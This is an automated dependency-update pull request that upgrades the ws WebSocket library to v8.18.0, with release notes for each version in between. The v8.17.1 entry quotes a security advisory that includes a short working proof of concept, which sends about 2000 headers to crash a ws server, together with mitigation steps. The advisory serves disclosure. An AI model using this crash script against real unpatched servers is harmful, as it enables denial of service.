Update dependency ws to v8.18.0

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	8.3.0 -> 8.18.0

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Release Notes

websockets/ws (ws)

v8.18.0

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Features

• Added support for Blob (#​2229).

v8.17.1

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Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

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Features

• The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

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Features

• Added the autoPong option (01ba54e).

v8.15.1

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Notable changes

• The allowMultipleEventsPerMicrotask option has been renamed to
  allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

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Features

• Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

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Bug fixes

• Fixed an issue that allowed errors thrown by failed assertions to be
  swallowed when running tests (7f4e1a7).

v8.14.1

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Bug fixes

• Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

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Features

• The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
• The socket argument of server.handleUpgrade() can now be a generic
  Duplex stream (#​2165).

Other notable changes

• At most one event per microtask is now emitted (#​2160).

v8.13.0

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Features

• Added the finishRequest option to support late addition of headers (#​2123).

v8.12.1

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Bug fixes

• Added browser condition to package.json (#​2118).

v8.12.0

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Features

• Added support for utf-8-validate@6 (ff63bba).

Other notable changes

• [buffer.isUtf8()][buffer.isUtf8()] is now used instead of utf-8-validate if available
  (42d79f6).

v8.11.0

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Features

• WebSocket.prototype.addEventListener() now supports an event listener
  specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

• WebSocket.prototype.addEventListener() now adds an event listener only if it
  is not already in the list of the event listeners for the specified event type
  (1cec17d).

v8.10.0

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Features

• Added an export for package.json (211d5d3).

v8.9.0

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Features

• Added the ability to connect to Windows named pipes (#​2079).

v8.8.1

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Bug fixes

• The Authorization and Cookie headers are no longer sent if the original
  request for the opening handshake is sent to an IPC server and the client is
  redirected to another IPC server (bc8bd34).

v8.8.0

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Features

• Added the WS_NO_BUFFER_UTIL and WS_NO_UTF_8_VALIDATE environment
  variables (becf237).

v8.7.0

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Features

• Added the ability to inspect the invalid handshake requests and respond to
  them with a custom HTTP response. (6e5a5ce).

Bug fixes

• The handshake is now aborted if the Upgrade header field value in the HTTP
  response is not a case-insensitive match for the value "websocket" (0fdcc0a).
• The Authorization and Cookie headers are no longer sent when following an
  insecure redirect (wss: to ws:) to the same host (d68ba9e).

v8.6.0

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Features

• Added the ability to remove confidential headers on a per-redirect basis (#​2030).

v8.5.0

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Features

• Added the ability to use a custom WebSocket class on the server (#​2007).

Bug fixes

• When following redirects, the Authorization and Cookie headers are no
  longer sent if the redirect host is different from the original host (#​2013).

v8.4.2

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Bug fixes

• Fixed a data framing issue introduced in version 8.4.1 (#​2004).

v8.4.1

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Notable changes

• To improve performance, strings sent via websocket.ping(),
  websocket.pong(), and websocket.send() are no longer converted to
  Buffers if the data does not need to be masked (#​2000).

v8.4.0

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Features

• Added ability to generate custom masking keys (#​1990).

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